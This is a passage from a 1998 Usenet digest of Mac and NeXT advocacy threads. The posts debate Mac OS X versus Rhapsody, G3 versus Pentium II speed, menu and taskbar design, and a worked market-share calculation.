thing MacOS X is built from the old old _old_ MacOS sources,
and Rhapsody wasn't.))
So this "delusion" you're referring is just standard Apple
reality distortion practice.
Freek
Date: Wed, 29 Jul 1998 11:06:31 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907981106310001@wil45.dol.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <35b537c1.0@news.depaul.edu> <35BE06FD.CE0719A6@earthlink.net> <joe.ragosta-2907980905120001@wil64.dol.net> <6pnd4k$jp6$1@larry.admin.phil.uu.nl>
In article <6pnd4k$jp6$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> Joe:
>
> >>Mac OS X is NOT a new OS: It is an incremental change over
> >>Rhapsody 1.0, now called MacOS X Server.
> >
> >This must be at least the 6th or 7th time you've said this.
> >Do you have some delusion that if you say it enough times it
> >will magically become true?
>
> This reasoning of "the same name means the same OS, a
> different name means a different OS" is a standard trick
> Apple uses to delude it's users.
>
> (Apple changes the name of the NeXT's system to Rhapsody, and
> magically everyone believes that it therefore will be a
> different OS (it isn't: in fact it's exactly the same old
> system as NeXT has sold for ages.) They change the name of
> Rhapsody to MacOS X Server, and magically everyone assumes it
> is almost the same OS as MacOS X will be (it isn't: for one
> thing MacOS X is built from the old old _old_ MacOS sources,
> and Rhapsody wasn't.))
>
> So this "delusion" you're referring is just standard Apple
> reality distortion practice.
Let's see. So you're supportin Jon's statement that Mac OS X is not
significantly different than Mac OS X Server?
What about the major differences I've already cited:
Kernel
Driver architecture
Graphics architecture
Carbon APIs.
Any one of these would constitute a major difference. The fact that you're
ignoring all 4 indicates that you've got your own reality distortion
problem.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 29 Jul 1998 15:07:35 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pndrn$6p2$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com> <MPG.1028195454173173989a36@news.supernews.com> <k4wv1.8467$7k7.11605996@news.rdc1.sdca.home.com> <joe.ragosta-2907980804030001@wil64.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <k4wv1.8467$7k7.11605996@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> > But their John's words, he owns them - its his right to exercise his
> > individual style. Hey, do we really want "Milk Toast" Kheit around here?
> > Nah, Fire & Brimstone John gives us his best (arguable best) and the
> > challenge of a little to chew on.
> >
> > Though, Joe maybe bit off more than he could chew... :-)
>
> I don't think so. I'd be a heck of a lot more likely to win a malicious
> prosecution countersuit than he would be to win his silly libel/slander
> suit.
Yes, your professional opinion on this is duly noted. Considering your track
record of wrong vs. right against me and the law, I'm feeling rather amused
by your deep understanding and analysis of the legal process.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 1998 17:26:26 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6pnev2$k1v$1@larry.admin.phil.uu.nl>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <35b537c1.0@news.depaul.edu> <35BE06FD.CE0719A6@earthlink.net> <joe.ragosta-2907980905120001@wil64.dol.net> <6pnd4k$jp6$1@larry.admin.phil.uu.nl> <joe.ragosta-2907981106310001@wil45.dol.net>
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Joe:
>Let's see. So you're supportin Jon's statement that Mac OS X
>is not significantly different than Mac OS X Server?
No! I was supporting my own statement that this is what
Apple is trying to make us believe! (So it's not Jon's fault
that he got deluded :-))
But I think that's absolutely _wrong._ Mac OS X to me seems
very much different from Mac OS X Server.
Freek
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
From: da728@torfree.net (Karl Knechtel)
Subject: A small nitpick WAS: Re: Getting along WAS: etc.
Message-ID: <Ewv1GK.L6q.0.queen@torfree.net>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Organization: Toronto Free-Net
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <35BCC8AE.81F49DF0@starvision.com>
Date: Wed, 29 Jul 1998 14:26:44 GMT
Brian Oberquell (boberque@starvision.com) wrote:
<snip>
: 2) Please learn the difference between "your" and "you're". I find it hard to
: take people seriously when they miss a basic concept like this. Another one to
: watch out for (though I haven't seen it come up lately) is "its" and "it's".
: 3) If someone makes an erroneous statement, try giving them the benefit of the
: doubt <snip>
<asbestos> I appreciate your dedication to proper grammar as shown by 2).
However, don't you mean "...giving him/her the benefit of the doubt..." ?
IIRC from English class, "someone" is singular. </asbestos>
: Thanks,
: Brian
Karl Knechtel {:-#>
da728 at torfree dot net
who has no signature file - hence the inconsistency.
From: Jack Carroll <ripper@msn.fullfeed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: Wed, 29 Jul 1998 10:56:48 -0500
Organization: Absolutely No Organization Whatsoever
Message-ID: <35BF4640.188F@msn.fullfeed.com>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net> <35bca6cb.162577578@198.0.0.100>
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nate wrote:
<SNIP>
>
> It is ironic. Given that the G3 "might" be 30% faster per Mhz than
> the PII (the G3 I use isn't), and that the fastest currently shipping
> Wintel is clocked 33% faster than the mac then it would appear that
> macs and PCs are just about even. Well, it would appear that way
> until you start talking about Xeons
Server processor, and one with MULTIPLE bugs in the design...is it even
shipping yet?
>and Dual processor Wintel
> machines.
Gee, takes two of yours to equal one of ours. AND that dual-proc
machine is EXPENSIVE compared to a G3.
>Add those into the mix and apple comes out the loser- as
> usual.
>
> Hell, given your 30% estimate, my 10 month old dual PII is STILL
> faster than anything apple can build.
Again, you talk about TWO processors to beat a single. Wow, I think
that you just backed up Apple's "up to twice as fast" claim. Thanks for
the ammo!
>
> Nathan A. Hughes
> MFA Candidate
> The University Theatre, KU
> http://scenedesign.home.ml.org
No one (including me) would argue that two can be better than one, but
when it TAKES two to be better, then the single comes out ahead.
--
Jack Carroll
----------------
All opinions are mine, not my company's.
And msn stands for MadiSoN, not Microsoft Network!
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: Apple heading to obscurity?
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <Ewv4GD.MpA@bilver.magicnet.netREMOVETHIS>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol. <gmgraves-2507981432270001@sf-usr1-25-153.dialup.slip.net>
Date: Wed, 29 Jul 1998 15:31:25 GMT
In article <gmgraves-2507981432270001@sf-usr1-25-153.dialup.slip.net>,
George Graves <gmgraves@slip.net> wrote:
>In article <pxpst2-2407981636290001@pelli.pathology.pitt.edu>,
>pxpst2@SPAM.SUXS.unixs.cis.pitt.edu wrote:
>
>> In article <gmgraves-2407981227060001@sf-usr1-3-131.dialup.slip.net>,
>> gmgraves@slip.net (George Graves) wrote:
>> >
>> > Iridium has GOT to be costing Motorola a fortune. Anyone know how those
>> > satellite costs have affected their bottom line?
>>
>> Actually, If I am not mistaken, Iridium is figured into costs already
>> because it has been a project in progress. In other words it was planed.
>> And to be fair, it is not a bad project. It will allow for remote regions
>> to get Bandwidth for a cheap cost compared to wire.
>> Peter
>
>
>I hate to see what the Iridium service is going to cost initially.
>2 bucks a minute? 4?
Well comsat satellite phones are about $3/min from anywhere in the
world except the Arctic, Antartica, New Zealand and one other
country. From their maps these appears to be footprint
limitations. Basically it's just 4 birds covering the world.
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: 29 Jul 1998 16:15:49 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6pnhrl$9d3@shelob.afs.com>
References: <35BE8245.381E@launchnet.com>
Terry Haggin writes
> I have a ton on great old NeXT apps on my Cube and would like to know if
> I can run them on Rhapsody or OS X?
Not unless the author rewrites them. Some (like AFS) are, some aren't.
If you have source, you could try rebuilding them yourself, but it will
take some work to move from NEXTSTEP to Rhapsody. The APIs are very
different. OPENSTEP 4.x had a conversion tool to handle much of this
job, but I don't think this will remain in OS X.
> Those NeXT apps were the best I have ever used and it is hard to rum the
> on my super but sooooo so old cube. And does anyone have a copy of the
> Developers Rhapsody that they would like to sell/give to me?
The developer release of Rhapsody is still provided under non-disclosure
and may not be sold. Contact Apple developer relations to find out how
you can be added to the developer release group.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Is Apple designing for acceptance?
Date: 29 Jul 1998 16:29:31 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pnilb$4hq$2@nnrp02.primenet.com>
Back on 1996/12/31, on the occasion of OpenDoc being canceled, I wrote:
"I think this is one of the most interesting questions of our day. I like
to compare and contrast OpenDoc and HTML. While these two things are very
different on the inside, they cover roughly the same problem domain -
creating and sharing composite documents. OpenDoc was designed as a
complete solution, while HTML was designed as just enough to get the job
done. It is very intersting to consider why one caught on like wildfire
and one languishes. I think there is more than one answer, but it bears
considering.
For software designers it raises the question of how to Design For
Acceptance."
For the sake of discussion (too much who-said-what-to-whom in these
groups lately), I wonder:
- Do you accept that Designing for Accpetance is the responsibility
of a team creating a new technology?
- Do you think Apple is addressing Design for Acceptance?
I'm primarily thinking of the technical initiatives that a vendor floats
towards third-party hardware and software developers.
John
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 11:30:03 -0500
Organization: Ericsson North America Inc.
Message-ID: <35BF4E0B.20BC88D3@ericsson.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net>
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Richard Frith-Macdonald wrote:
> Can you be clearer on this? It doesn't make any sense to me ...
> The behaviour you describe above is exactly that of my MacOS-8 system.
> More to the point, the behaviour of the MacOS system (excepting the menu-bar
> of course) is almost exactly that of my NeXT system ...
> 1. A menu item marked with an elipsis brings up a panel
> 2. A menu item marked with a triangle brings up a sub-menu
> 3. Any other menu item performs some other action.
Note: you say "menu item" where I say "menu". Under MacOS, there is a
difference.
It's like the difference between "leaf node" and "branch node". Have you
noted that the current five-kingdom model of taxonomy with regard to
life begins with no leaf nodes? There are five kingdoms, none of which
are specific instances of a species. There's a reason for this: by
placing 'species' at the bottom of the categorizational nomenclature,
you ensure the ability to grow as well as enforcing the idea that every
species must be a proper subset of some category.
Kingdoms are not leaves, nor are phyla, classes, orders, families, or
genuses. Only the last category, species, describes a specific instance.
Have you ever written an outline? It's technically wrong for an outline
to contain a subcategory with only one entry; for example:
I. My outline
A. Topic One
1. The Five-kingdom Model
B. Topic Two
1. Writing an outline
II. Your outline
[...]
Notive how both levels 'A' and 'B' contain only one entry? That is
incorrect for an outline. They should have been grouped together under a
single heading, if possible.
I'm not offering all of this just to be obtuse. I'm trying to dredge up
examples that show that yes, hierarchical systems are designed to
contain groupings. I find it unorthodox that the NeXT menu hierarchy
does not follow this pattern, but believes that leaf nodes can exist at
any level, even at the very top. Functionally, this makes the "Quit"
button equivalent in importance to the "Edit" menu, even though one is a
button and the other is a menu. I know that's the way NeXT users like
it; I was pointing out that it's aberrative and inconsistent with the
philosophy underlying what NeXT users have often called a cleaner
hierarchy than MacOS.
[cut]
> As an extra capability, you can tear off NeXT style menus - is this waht you are
> complaining about? If so - complain that it's an additional feature, but it's not
> a consistency issue.
I wasn't complaining about it. I won't comment because it's irrelevant
and can only cloud the issue.
> Where do you get this from?
> As a programmer, I know that the yellow-box api gives the application developer access
> to do interesting things to menus - but that requires work. The automatic behaviour
> of a NeXT-style menu is almost identical to that of the MacOS, and I am unable to see
> any way you can lay a charge of inconsistency that does not also apply to the MacOS.
I've already explained this at exhaustive length. For you to say this
reminds me of long long long postings I would write that explained
various problems with the NeXT UI, whereupon the response would be "If
you don't like it, just explain what you don't like. I'd be glad to
answer". That was pretty much the end of the thread, and as far as I'm
concerned, it's the end of this thread, as well.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 11:36:27 -0500
Organization: Ericsson North America Inc.
Message-ID: <35BF4F8B.D4C2B55F@ericsson.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net>
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Richard Frith-Macdonald wrote:
> Sophistry - minor technicalities of a UI widget (of which I'm well aware) do not
> change the fact that the menu-bar is a menu (or list of options if you prefer).
No, see, this is where you're just going to have to agree to disagree
with the rest of the world. You could as easily say that "minor
technicalities of a UI widget do not change the fact that a pushbutton
is a window" but I'd have to be harsh with you and say that you're dead
wrong and your UI philosophy fails to note important distinctions. Maybe
MacOS users just have a finer-grain resolution between UI concepts, but
that's just the breaks.
Perhaps as an OO programmer you can look at it this way: the menu bar is
a special case of menu. For very good reasons, its orientation has been
changed and its behavior and policy are more specific. It is designed as
a special-case menu to hold general-case menus, precisely because it is
unique, serves a unique purpose, and belongs in a unique position in the
user's mind.
If this philosophy is just utterly antithetical to your views, like I
said, you have to just agree to disagree.
MJP
Date: Wed, 29 Jul 1998 12:44:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907981244410001@wil47.dol.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com>
In article <6pmooa$u1p$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> mbkennel <replace this with '@'> yahoo.com wrote:
>
> > It does: MacOS 8.5, MacOS 9.
>
> Imagine if Microsoft had continued to develop Windows 3.x after they had
> released Windows 95. Who would care? People want new OS versions presumably
> because they want new features. Mac OS 8.5 and 9 will be missing the features
> that a lot of people really want from OS X.
But WinNT 4.0 offers some features which are notably absent from Win95/98,
as well.
Consider Mac OS X as equivalent to WinNT and Mac OS 8.5, Sonata, etc as
equivalent to Win95/98 in terms of market positioning and it will make
more sense.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Wed, 29 Jul 1998 09:53:43 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net>
In article <jpolaski-2907980954020001@d150-233.ce.mediaone.net>,
jpolaski@NO.wwa.com (Jim Polaski) wrote:
> >
> > > but the fact
> > > of the matter is that NO PC runs as fast as an iMac, not even a Xeon at
> > > over 5X the price. And certainly no PC is as simple. There is a TERRIFIC
> > > commercial Apple are going to let loose for the iMac that will prove this
> > > fact without a shadow of a doubt. Stay tuned.
> > >
> > > Smile, Apple is making its mark again.
> >
> >
> > I guess you obviously havent seen the photoshop results?
> > Are you trolling or are you serious?
> ======
> And if you're implying that the iMac has disappointing results with
> photoshop, you'd probably also be disapppointed at the results of testing
> the new VW bug at Indy against the race cars too.
Well I cant say what the IMac results are because its not even out yet. I
just meant g3. And in no way would I call the g3 results "disapointing".
Its just that his comment that no p2 runs as fast as a imac is ludicrous.
If you want to discuss the facts rather than be silly and call people
names, feel free.
A) HE was the one that said its faster than xeon, not me.
b) even without xeon his comment is false.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: what the heck?(WAS: Market share numbers)
Date: 29 Jul 1998 17:11:00 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pnl34$kcj@newsb.netnews.att.com>
References: <joe.ragosta-2707980922590001@wil37.dol.net> <macghod-2707981119300001@sdn-ar-001casbarp259.dialsprint.net> <35bcde8a.0@news.depaul.edu> <macghod-2707981851450001@sdn-ar-002casbarp026.dialsprint.net>
Originator: gupta@tlctest
Can't believe I'm responding to this, but here goes :
Steve Sullivan <macghod@concentric.net> wrote:
>I am not a math major so I will changet this to units, we will say their
>was a total of 1000 units sold to make things easy
6th grade arithmetic should be enough.
>>
>> Compaq 50% 500 units
>> IBM 30% 300 units
>> Sony 15% 150 units
>> Apple 4% 40 units
>> Misc 1% 10 units
>
>= 1000 units total market
>
>
>> Then second quarter, Compaq, IBM, and Sony sell 10% fewer
>> *units*, while Apple stays the same. The percentages then
>> look like this:
>
>Ok, lets assume the total number sold was also 1000, to make the math easier
Wrong assumption. Compaq sold 50 units fewer (10% of 500),
IBM sold 30 units fewer ( 10% of 300), Sony sold 15 units fewer (10% of 150)
and Apple sold 40 units and Misc sold 10 units ( remain the same).
That gives this table :
Compaq 450 units
IBM 270 units
Sony 135 units
Apple 40 units
Misc 10 units
The total market is : 450 + 270 + 135 + 40 + 10 = 905.
The marketshares are :
Compaq 450/905 * 100 = 49.72%
IBM 270/905 * 100 = 29.83%
Sony 135/905 * 100 = 14.91%
Apple 40/905 * 100 = 4.42%
Misc 10/905 * 100 = 1.10%
(doesn't add up to 100% because of rounding errors).
-arun gupta
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 09:39:48 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2907980939480001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2807981015140001@news> <Pine.SOL.3.96.980728134225.28975A-100000@ux9.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980728134225.28975A-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 28 Jul 1998, Andy Bates wrote:
>
> > In article <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > It does to solve the problem since it provides the user a clear indication
> > > of what is running. If you close all Netscape Windows, the program is no
> > > longer running in Windows whereas if you close all the Netscape windows on
> > > the Mac OS, the program is _still_ running.
> >
> > But the taskbar is not what solves the problem! The problem is solved by
> > the fact that, in Windows, Netscape quits when all of its active windows
> > are closed. If the Mac version of Netscape did this, then the problem would
> > be solved on the Mac side as well. It has nothing to do with the existence
> > of a taskbar.
>
> You are misunderstanding what I'm trying to say. It is not the closing of
> all windows quitting the program that is the solution. That is the
> behavior forced by Windows' design. What solves the problem I'm talking
> about is having the task bar.
No, it DOESN'T! That's my point!
Look, the taskbar provides a list of all active windows, not a list of all
currently-running applications. If Netscape didn't quit when all of its
active windows were closed, then you would have a running application
(Netscape) that wasn't indicated on the taskbar (because it has no open
windows).
Your complaint about the Mac OS is that you don't have a clear indication
of what's running. Well, if you added a Windows taskbar to the Mac OS, you
stil wouldn't solve the problem, because you could have a running
application that has no open windows, and hence doesn't show up on the
taskbar. Therefore, having the task bar does not solve the problem.
However, if apps followed the Windows standard of quitting when all active
windows were closed, then you wouldn't have the problem of an app with no
open windows to indicate that it was still running. Therefore, having an
app quit when all active windows are closed IS what solved the problem.
> It provides an immediate indication of what is running.
Not if an application is running with no open windows.
> There is a
> parallel that can be drawn here. If you are going to be obtuse about this
> and say that this is not exactly applicable to the situation on the Mac,
> then go to blazes.
Say whatever you want, but the taskbar only works on the PC because most
applications quit when all of their windows are closed. Hence, the taskbar
works in Windows, but because of the way that Windows handles windows, not
because of the taskbar.
> I know its not exactly the same. It was an analogy and
> like most analogies it is imperfect.
I don't know why we're discussing this anyway; Mac OS 8.5 has a tearable
taskbar-like menu of all running applications.
> > > There is also an obvious
> > > indication that a program is still running since it gets a button on the
> > > task bar.
> >
> > Only if there are open windows in the application!
>
> Look! I am _not_ defending Windows! Get off it! If you are going to strike
> my argument down because Windows is crappy, then we have no further basis
> for discussion.
Look! I am not criticizing Windows! I am just saying that the taskbar works
ONLY because a running application almost always has at least one open
window. That is how it works.
> There is an obvious parallel to what is done on Windows and what could be
> done on the Mac. Buttons on a Mac task bar would not represent windows,
> but applications. Duh!
This is the first time you mentioned this idea.
> If all the windows of a Mac app were closed, the
> task bar would still have a button for that app. It would provide
> immediate feedback to the user that there is something still running.
>
> Got it?
Yes, I do have it...in Mac OS 8.5.
> > What about a taskbar that listed which applications were open, instead of
> > which windows were open? Wouldn't that be more useful?
>
> Well, duh. That's what I've been saying. You seem to be hung up on the
> windows thing.
No, you haven't been saying it. You've been touting the Windows taskbar,
and saying that something like that needs to be done on the Mac. I was
simply pointing out why the taskbar AS IT STANDS NOW is not an adequate
solution. How am I supposed to know what you think should be changed about
it? Don't get on my back for criticizing the behavior of the Windows
taskbar. YOU were the one who suggested it. If you don't think those
problems would apply to the Mac side, then explain how you would change
them, but don't yell at me for not knowing how you would change them.
> > Surprise! It's in Mac OS 8.5. You can tear off the Application menu, and it
> > forms a little mini-taskbar. Sure, it's vertically-aligned instead of
> > horizontally aligned, but it's still a taskbar.
> >
> > Now, what were you complaining about again? How Apple doesn't make
> > incremental changes to the OS? How Apple can't come up with UI
> > improvements?
>
> If it's there in Mac OS 8.5 and it works well, that great.
It does. It is.
> We do not have
> it yet.
Speak for yourself.
> You can knock off that smarmy questioning too.
Well, you complain about how Apple isn't making major UI changes, and then
half of your suggestions are already in the next release. I think you
deserve a little ribbing.
Andy Bates.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Mac OS X Server release - timing and price?
Date: Wed, 29 Jul 1998 14:04:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pna5f$j78$1@nnrp1.dejanews.com>
Has anyone heard anything at all about the precise timing of the release of
Mac OS X server (aka Rhapsody 1.0) and about its pricing? And ordering
options (eg can one specify it come pre-installed on new hardware)?
We're in Q3 now, which means Apple has two more months to ship it if it sticks
to the schedule announced at WWDC. It sure would be nice to be able to plan
ahead a little.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: phillip craig brisco <pbrisco@erols.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Wed, 29 Jul 1998 13:17:14 -0400
Organization: Census Bureau
Message-ID: <35BF591A.A125BBDB@erols.com>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net>
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Steve Sullivan wrote:<snip>
> Well I cant say what the IMac results are because its not even out yet. I
> just meant g3. And in no way would I call the g3 results "disapointing".
> Its just that his comment that no p2 runs as fast as a imac is ludicrous.
> If you want to discuss the facts rather than be silly and call people
> names, feel free.
>
> A) HE was the one that said its faster than xeon, not me.
> b) even without xeon his comment is false.
As far as A) above, I don't know. BUT, on b), take the pII with, say, up to 10%
faster clock rate than an equivalent G3. Now, which is faster?
From: thomas@hype.mycal.net (Thomas)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
